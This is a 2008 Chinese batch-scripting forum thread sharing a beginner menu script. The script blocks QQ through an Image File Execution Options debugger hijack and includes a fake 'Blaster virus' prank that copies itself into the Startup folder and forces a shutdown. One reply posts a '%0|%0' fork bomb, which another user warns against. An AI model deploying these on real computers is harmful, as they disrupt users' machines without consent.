Board logo

标题: [其他] 一个简单禁止QQ运行的批处理,供新手研究!高手跳过 [打印本页]

作者: AK47    时间: 2008-10-10 09:35     标题: 一个简单禁止QQ运行的批处理,供新手研究!高手跳过

这个是一个很简单的一个批处理,专供新手研究!高手跳过!
  1. @echo off
  2. echo.
  3. echo                 支持原创!!!欢迎盗版!!!(待续……)
  4. echo.
  5. echo ==================================================================
  6. echo                 作者:AK47   QQ:812263357
  7. echo ==================================================================
  8. echo                a:禁止QQ运行!
  9. echo                b:恢复QQ运行!
  10. echo                c:仿冲击波病毒!
  11. set /p s=
  12. if "%s%" equ "a" goto a
  13. if "%s%" equ "b" goto b
  14. if "%s%" equ "c" goto c
  15. goto end
  16. :a
  17. reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v debugger /t reg_sz /d debugfile.exe /f  &goto end
  18. :b
  19. @reg delete "hklm\software\microsoft\windows nt\currentversion\image file execution options\qq.exe" /f &goto end
  20. :c
  21. msg %username% 你的电脑已中冲击波病毒,系统将在20秒内关机!
  22. @copy a.bat "%userprofile%\「开始」菜单\程序\启动\"
  23. shutdown -s -t 20
  24. :end
  25. pause>nul
复制代码

作者: AK47    时间: 2008-10-10 10:20

2楼这个建议非常好,第三行命令写错了,第三行应该的"a.bat"应该跟批处理本身同名才能发挥到作用!
作者: AK47    时间: 2008-10-10 10:23

不管是什么代码,只要不是恶意代码就行,新手要学会看懂别人的代码,每天学一个简单的批处理,慢慢进阶成高手
作者: wxcute    时间: 2008-10-10 12:04

shutdown -s -t 20
如 2 楼所说,可在上面这句后加两句
ping -n 11 127.1>nul
shutdown -a
以免测试者真正被关机。

[ 本帖最后由 wxcute 于 2008-10-10 13:25 编辑 ]
作者: Batcher    时间: 2008-10-10 13:20

三个if这样写不好
建议用if...else...代替
作者: AK47    时间: 2008-10-10 17:16

原帖由 Batcher 于 2008-10-10 13:20 发表
三个if这样写不好
建议用if...else...代替


我上面这个批处理用if……else…怎样写,还请指教
作者: yslyxqysl    时间: 2008-10-10 18:30

if "%s%"=="a" goto a
if "%s%"=="b" (goto b) else goto c
作者: qq641255849    时间: 2008-10-10 18:49

  1. set /p cho=
  2. for %%i in (a b c) do (if %%i equ %cho% (goto :%%i))
复制代码

作者: SmallK    时间: 2008-10-11 02:28

原帖由 AK47 于 2008-10-10 10:20 发表
2楼这个建议非常好,第三行命令写错了,第三行应该的"a.bat"应该跟批处理本身同名才能发挥到作用!


批处理本身可以用变量“%0”。
作者: SmallK    时间: 2008-10-11 02:34

@reg delete "hklm\software\microsoft\windows nt\currentversion\image file
@copy a.bat "%userprofile%\「开始」菜单\程序\启动\"

似乎很多人都会在P中添加一些没用的“@”符号……
其实这里只有在末尾加“>nul”才有效果。

[ 本帖最后由 SmallK 于 2008-10-11 02:36 编辑 ]
作者: AK47    时间: 2008-10-11 16:05

原帖由 SmallK 于 2008-10-11 02:28 发表


批处理本身可以用变量“%0”。


这个不是很懂,可以说清楚点吗?
作者: qq641255849    时间: 2008-10-11 17:01

试过
  1. %0|%0
复制代码
你就清楚了.
作者: SmallK    时间: 2008-10-19 00:30

楼上的代码会陷入死循环的!最后导致死机!!!不要误导别人!!!
作者: wangtao6312    时间: 2012-4-17 13:15

你的电脑已中冲击波病毒,系统将在20秒内关机!




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2